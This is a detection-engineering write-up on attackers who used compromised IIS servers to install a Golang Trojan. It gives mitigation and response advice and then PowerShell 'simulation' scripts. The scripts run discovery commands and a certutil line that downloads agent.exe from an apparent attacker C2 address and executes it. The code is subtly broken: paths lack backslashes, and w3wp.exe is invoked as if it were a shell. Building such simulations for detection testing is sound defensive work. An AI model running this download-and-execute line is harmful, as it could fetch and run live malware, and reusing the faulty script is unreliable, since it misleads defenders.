Trial, Error, and Typos: Why Some Malware Attacks Aren’t as ‘Sophisticated’ as You Think

Summary

The article describes three separate incidents where a threat actor leveraged compromised IIS web servers to download and execute a Golang‑based Trojan (agent.exe) on victim endpoints. The attackers repeatedly attempted execution, used certutil to fetch payloads, and later added Windows Defender exclusions before trying to establish persistence via a Windows service. detection was achieved through EDR and Sysmon logs, which captured command lines, process trees, and network activity. The attacks illustrate how adversaries adapt to defensive roadblocks rather than following a flawless playbook.

Investigation

Huntress analysts examined Windows Event Logs, Sysmon events, and IIS web server logs to reconstruct the attack chain. They identified initial web‑shell execution via w3wp.exe, observed malformed commands, repeated payload delivery attempts, and the creation of a service named WindowsUpdate that failed to start. Multiple indicators such as file paths, command lines, and network connections were collected and correlated across the three incidents.

Mitigation

Key mitigations include hardening IIS servers, restricting web‑shell execution, enforcing strict application allow‑lists, monitoring for abnormal use of LOLBins such as certutil and PowerShell, and ensuring Windows Defender exclusions are not arbitrarily created. Rapid isolation of compromised hosts and removal of dropped tools like GotoHTTP are also recommended.

Response

Upon detection, responders should isolate the affected endpoint, collect full process‑tree and network logs, delete any malicious binaries, revert unauthorized Windows Defender exclusions, and verify service creation failures. Conduct a thorough web‑server review for compromised pages and rotate all compromised credentials.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An attacker who has already gained code execution on a compromised IIS server leverages the w3wp.exe process (the IIS worker) to run a series of signed‑binary proxies. First, they enumerate the system and network state (whoami.exe, netstat -an, ipconfig /all). Then, they use certutil.exe to download a malicious payload (agent.exe) from a remote C2 server and immediately execute it in the public user directory. All commands are issued via cmd.exe /c launched under the context of w3wp.exe, ensuring the process creation event matches the rule’s conditions.

  # 1. Enumerate system/user information
  Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow
  Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow
  Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow
  
  # 2. Download malicious payload via certutil and execute it
  $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
  Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow

• Regression Test Script: The script below automates the entire attack chain, reproducing the exact telemetry that should fire the Sigma rule.

  <#
  .SYNOPSIS
      Simulates adversary activity that triggers the "Detect Command Line Execution from Web Server Process" Sigma rule.
  .DESCRIPTION
      Executes a series of discovery and download‑and‑execute commands from the IIS worker process (w3wp.exe).
      Run on a Windows host where process creation auditing (Event ID 4688) is enabled.
  #>
  
  # Function to invoke a command via w3wp.exe
  function Invoke-W3wpCommand {
      param (
          [Parameter(Mandatory=$true)]
          [string]$CmdLine
      )
      Write-Host "Invoking via w3wp.exe: $CmdLine"
      Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null
  }
  
  # 1. Discovery commands (MITRE T1033, T1016, T1069.001)
  $discoveryCommands = @(
      "whoami.exe",
      "netstat -an",
      "net user admin$",
      "ipconfig /all",
      "net localgroup administrators"
  )
  foreach ($cmd in $discoveryCommands) {
      Invoke-W3wpCommand -CmdLine $cmd
      Start-Sleep -Seconds 2
  }
  
  # 2. Malicious download‑and‑execute (MITRE T1218.004)
  $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
  Invoke-W3wpCommand -CmdLine $maliciousCmd

• Cleanup Commands: Remove the downloaded payload and terminate any stray processes.

  # Delete the malicious agent binary
  Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue
  
  # Optionally stop the agent if still running
  Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force